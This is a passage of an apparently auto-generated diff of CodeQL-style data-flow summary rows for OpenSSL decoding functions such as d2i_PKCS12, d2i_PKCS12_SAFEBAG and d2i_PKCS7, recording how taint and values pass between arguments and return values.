"(PKCS12 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_bio", "(BIO *,PKCS12 **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_bio", "(BIO *,PKCS12 **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_bio", "(BIO *,PKCS12 **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_bio", "(BIO *,PKCS12 **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_bio", "(BIO *,PKCS12 **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_bio", "(BIO *,PKCS12 **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_bio", "(BIO *,PKCS12 **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_bio", "(BIO *,PKCS12 **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_bio", "(BIO *,PKCS12 **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_bio", "(BIO *,PKCS12 **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_fp", "(FILE *,PKCS12 **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_fp", "(FILE *,PKCS12 **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_fp", "(FILE *,PKCS12 **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_fp", "(FILE *,PKCS12 **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_fp", "(FILE *,PKCS12 **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_fp", "(FILE *,PKCS12 **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_fp", "(FILE *,PKCS12 **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_fp", "(FILE *,PKCS12 **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_fp", "(FILE *,PKCS12 **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_fp", "(FILE *,PKCS12 **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[**1]", 